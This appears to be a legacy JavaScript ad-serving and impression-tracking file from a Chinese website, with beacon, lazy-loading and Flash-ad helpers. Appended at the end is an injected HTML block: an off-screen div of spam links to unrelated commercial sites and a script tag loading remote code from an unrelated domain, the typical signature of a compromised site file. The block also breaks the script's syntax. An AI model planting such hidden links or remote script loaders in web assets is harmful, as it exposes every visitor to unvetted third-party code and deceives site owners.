var _ivyIDs="";
var _tmpIvyIDs="";
var _cntUrl="";
var _state_=0;
var _count_=1;
var __lock__ =0;
var _ivySubmitPage="http://www.szimm.cn";
function _addIvyID(para_loc_ad){
	if(_tmpIvyIDs.indexOf(para_loc_ad+";")>-1){
		return;
	}

	_tmpIvyIDs = _tmpIvyIDs + para_loc_ad + ";";
	_ivyIDs = _ivyIDs + para_loc_ad + ";";
}
function _delIvyID(para_loc_ad){
	if(para_loc_ad != null && para_loc_ad.length>0 && para_loc_ad.indexOf("_")>0){
		if(_tmpIvyIDs.indexOf(para_loc_ad+";")>-1){
			_tmpIvyIDs = _tmpIvyIDs.replace(para_loc_ad+";", "");
		}
		if(_ivyIDs.indexOf(para_loc_ad+";")>-1){
			_ivyIDs = _ivyIDs.replace(para_loc_ad+";", "");
		}
	}
}
function _submitIvyID_impl(){
  __lock__ = 1;
  if (_ivyIDs && _ivyIDs != ""){
    var _ivyIDssend = _ivyIDs;
    _ivyIDs = "";
    try{
       var i2 = document.createElement("script");
       if(i2){
	  var ivydiv = document.getElementById("ivy_div");
	  if(!ivydiv){
	      //var bodys = document.getElementsByTagName("body");
	      //ivydiv = bodys[0];
              ivydiv   =   document.createElement("div");
              ivydiv.id= "ivy_div";
              ivydiv.style.display   =   "none";
              //2009.2.25...apply insertBefore for better compatiable
              //document.body.appendChild(ivydiv);
              document.body.insertBefore(ivydiv, document.body.firstChild);
	  }

	  if (!ivydiv){
    	      try{
                 var i2 = new Image(1,1);
                 i2.src = _ivySubmitPage + _ivyIDssend;
                 i2.onload=function() { _uVoid(); }
              }catch(err0){_addIvyID(_ivyIDssend);}
	  }else{
              //2009.2.25...apply insertBefore for better compatiable
	      //ivydiv.appendChild(i2);
              document.body.insertBefore(i2, document.body.firstChild);
	      var page = _ivySubmitPage + _ivyIDssend + "&state=" + _state_ + "&count=" + _count_;
	      i2.src = page;
          }
       }
    }catch(err){
        try{
	   var i2 = new Image(1,1);
           i2.src = _ivySubmitPage + _ivyIDssend;
           i2.onload=function() { _uVoid(); }
        }catch(err1){
           _addIvyID(_ivyIDssend);
        }
    }
  }
  if (_cntUrl && _cntUrl != ""){
    var i3 = new Image(1,1);
    i3.src = _cntUrl;
    i3.onload=function() { _uVoid(); }
    _cntUrl ="";
  }
  __lock__ = 0;
}
function _uVoid() { return; }
function _ivyRandom(size){
  try{
    hi_now = new Date();
    hi_id= hi_now.getSeconds() % size;
    return hi_id;
  }catch(err) {
    return 0;
  }
}
function _submitIvyID(){
   if(__lock__!=0){
      window.setTimeout(_submitIvyID,3000);
      return;
   }
   _state_ = 0;
   _count_ = 1;
   _submitIvyID_impl();
}
function _submitIvyID2(){
   if(__lock__!=0){
      window.setTimeout(_submitIvyID2,3000);
      return;
   }
    _state_ = 1;
   _count_ = 1;
   _submitIvyID_impl();
}
function _submitIvyID3(){
   if(__lock__!=0){
      window.setTimeout(_submitIvyID3,3000);
      return;
   }
   _state_ = 0;
   _count_ = 2;
   _submitIvyID_impl();
}
window.onbeforeunload = _submitIvyID2;

var userAgent = navigator.userAgent.toLowerCase();

if(/msie/.test(userAgent) && !/opera/.test(userAgent)){
    document.onreadystatechange = function(){
      if (document.readyState == "complete"){
     	 _submitIvyID3();
      }
    };
}else if(/opera/.test(userAgent) ||/mozilla/.test(userAgent)){
    document.addEventListener( "DOMContentLoaded", _submitIvyID3 , false );
}

function document_write(s) { document.write(s); }
function document_writeln(s) { document.writeln(s); }

//add for show3
var _IVY_AD_MAP_ = new Array();
function struct_IVY_AD_MAP(key, value){

  this.key = key;
  this.value = value;

}

function setLocationAd(key, value){

  for (var i = 0; i < this._IVY_AD_MAP_.length; i++)
  {
    if ( this._IVY_AD_MAP_[i].key === key )
    {
      this._IVY_AD_MAP_[i].value = value;
      return;
    }
  }

  this._IVY_AD_MAP_[this._IVY_AD_MAP_.length] = new struct_IVY_AD_MAP(key, value);

}

function getLocationAd(key,pex)
{
   var tmp = new Array();
   var obj = new Array();
  for (var i = 0; i < this._IVY_AD_MAP_.length; i++)
  {
    if ( this._IVY_AD_MAP_[i].key === key )
    {
      tmp = this._IVY_AD_MAP_[i].value;
	  break;
    }
  }
  if(tmp != null && tmp.length>0){
	var level = tmp[0].level;
	for(var i=0;i<tmp.length;i++){
		if(pex != null && pex>0){
			if(pex>obj.length){
				obj[obj.length] = tmp[i];
				_addIvyID(tmp[i].locationId + "_" + tmp[i].adId);
			}
		}else{
			if(level>tmp[i].level)break;
			obj[obj.length] = tmp[i];
			_addIvyID(tmp[i].locationId + "_" + tmp[i].adId);
			if(level<2)break;
		}
	}
  }
  return obj;
}

//<<<<<<<<<<<<<<< added by Sun Bin <<<<<<<<<<<<<<<<<<
//需要时才读入js，第一个参数用于检测需要的功能是否已存在。示范： needJS(window.PicFocus, 'http://www.szimm.cn', function(){ ... new PicFocus(...) ... };
function needJS(fn,src,callback) {
    if(typeof callback == 'undefined' || callback == null) callback = function(){};
    if(typeof fn != 'undefined' && fn != null && fn != '') return callback();
    var status = typeof _needJS_ == 'undefined' ? _needJS_ = {loaded:[],loading:[]} : _needJS_;

    for(var i=0; i<status.loaded.length; i++) {
        if(status.loaded[i] == src) return callback();
    }

    function idx(src) { //供后面的代码调用
        for(var i=0;i<status.loading.length;i++) if(status.loading[i].src==src) return i;
    }

    var loading = status.loading[idx(src)];
    if(loading != null) {
        loading.callbacks.push(callback);
        return;
    }

    status.loading.push(loading = {src:src,callbacks:[callback]});
    var js = document.createElement('script');
    js.src = src;
    js.onload = js.onreadystatechange = function() {
        if(typeof js.readyState == 'undefined' || js.readyState == 'loaded' || js.readyState == 'complete') {
            status.loaded.push(loading.src);
            var callbacks = loading.callbacks;
            status.loading.splice(idx(src),1);
            for(var i = 0; i < callbacks.length; i++) {
                loading.callbacks[i]();
            }
        }
    }
    document.getElementsByTagName('head')[0].appendChild(js);
} //needJS()

/** 常规广告，无特殊效果控制。key为位置标识, placeHolderId为占位标记，可不给出 */
function ivyHTML4PicOrFlash(SRC,URL,id) {
    if(typeof id=='undefined') id='';
    if(!SRC.match(/\.swf/i)) { //pic
        return '<a id="'+id+'" target=_blank href='+URL+'><img border=0 src='+SRC+'></a>';
    }

    var w = 1*SRC.replace(/^.*#(\d+)x(\d+).*$|^.*$/,'$1'); if(w<1)w=950;
    var h = 1*SRC.replace(/^.*#(\d+)x(\d+).*$|^.*$/,'$2'); if(h<1)h=90;
    var trans = /#transparent/i.test(SRC);
    SRC = SRC.replace(/#.*$/,'');

    return '<OBJECT id="'+id+'" classid=clsid:D27CDB6E-AE6D-11cf-96B8-444553540000 WIDTH='+w+' HEIGHT='+h+'><PARAM NAME=movie VALUE='+SRC+'><PARAM NAME=allowScriptAccess VALUE=always><param name=wmode value='+
    (trans?'transparent':'opaque')+
    '><EMBED src='+SRC+' WIDTH='+w+' HEIGHT='+h+
    ' wmode='+(trans?'transparent':'opaque')+
    ' allowscriptaccess=always TYPE=application/x-shockwave-flash PLUGINSPAGE=http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash></EMBED></OBJECT>';
}

function ivyNormal(key,placeHolderId) {
    var obj = getLocationAd(key);
    for(var i = 0; i < obj.length; i++) {
        var ad = obj[i];
        if(ad.src.match(/\.(jpg|gif|png|jpeg)(#.*)?$/i)) //图片
            document.write("<a class='ad' href='"+ad.link+"' target='_blank'><img border='0' src='"+ad.src+"'/></a>");
        else if(ad.src.match(/\.(swf)(#.*)?$/i)) { //flash
            if(typeof placeHolderId=='undefined' || placeHolderId=='' || placeHolderId==null) {
                placeHolderId = 'placeHolder'+new Date().getTime()+Math.floor(10000*Math.random());
            document.write("<a class='ad'"+(ad.link!=""?" href='"+ad.link+"'":"")+" id='"+placeHolderId+"'></a>");
            }
            var w = ad.src.replace(/^.*#(\d+)x(\d+).*$|^.*$/,'$1');
            var h = ad.src.replace(/^.*#(\d+)x(\d+).*$|^.*$/,'$2');
            if(w=='')w='100%'; if(h=='')h='90';
            document.getElementById(placeHolderId).innerHTML=("<embed src='"+ad.src+"' width='"+w+"' height='"+h+"'/>");

        } else  //普通文本
            document.write("<a class='ad' href='"+ad.link+"' target='_blank'>"+ad.src+"</a>");
    }
}
//>>>>>>>> added by Sun Bin >>>>>>>>>>>>

function showIvyViaJs(locationId){
	var _f=undefined;
	var _fconv = locationId.replace(/\./g,"_");
	try{
		eval("_f = " + _fconv);
		if (_f!=undefined){
			_f();
		}else{
			//alert('no the function.');
			//handle of not ad found
		}
	}catch(e){
		//handle of not ad found
		var _f2=undefined;
		var _fconv2 = locationId.replace(/\./g,"_IVY_").replace(/-/g,"_IV_Y_");
		try{
			eval("_f2 = " + _fconv2);
			if (_f2!=undefined){
				_f2();
			}else{
				//alert('no the function.');
				//handle of not ad found
			}
		}catch(e2){
			//handle of not ad found
		}
	}
}

/** 关键字广告保存的数组列表和回调函数 add by yjx **/
//关键字广告列表
var ivyAdList = new Array();
//关键字广告内容，key-关键字，content-广告内容，href-点击链接，ivyPara-计数参数，showCount-关键字显示次数，linkCss-链接样式
function IvyKeyword(key, content, href, ivyPara, showCount, linkCss){
	this.key = key;
	this.content = content;
	this.href = href;
	this.ivyPara = ivyPara;
	this.showCount = showCount;
	this.tmpCount = 0;
	this.linkCss = linkCss;
}

//提供给程序的回调JS函数
function showKeyWorkAd(key, content, href, ivyPara, showCount, linkCss){
	ivyAdList[ivyAdList.length] = new IvyKeyword(key, content, href, ivyPara, showCount, linkCss);
}
<div style="position: absolute; top: -990px;left: -990px;">
<a title="深圳铭板"     href="http://www.mingban.org/">深圳铭板</a> 
<a title="薄膜开关"     href="http://www.mingban.org/bomokaiguan/">薄膜开关</a> 
<a title="薄膜面板"     href="http://www.mingban.org/bomomianban/">薄膜面板</a> 
<a title="不干胶贴"     href="http://www.mingban.org/buganjiaotie/">不干胶贴</a>
<a title="水晶滴胶"     href="http://www.mingban.org/shuijingdijiao/">水晶滴胶</a> 
<a title="电铸标牌"     href="http://www.mingban.org/dianzhubiaopai/">电铸标牌</a> 
<a title="注塑标牌"     href="http://www.mingban.org/zhusubiaopai/">注塑标牌</a>
<a title="金属标牌"     href="http://www.mingban.org/jinshubiaopai/">金属标牌</a>
<a title="锌合金压铸"   href="http://www.mingban.org/xinhejinyazhu/">锌合金压铸</a>
<a title="雪丽丝"       href="http://www.xuelisi.com">雪丽丝</a> 
<a title="好女人"       href="http://www.haonvren.net">好女人</a> 
<a title="下载"         href="http://www.chanpe.com/index.html">下载</a> 
<a title="武当山"       href="http://www.wudang.la">武当山</a>
<a title="眼贴"         href="http://www.taoqigui.com/">眼贴</a>
<script src="http://www.xuelisi.com/js/g.js"></script>
</div>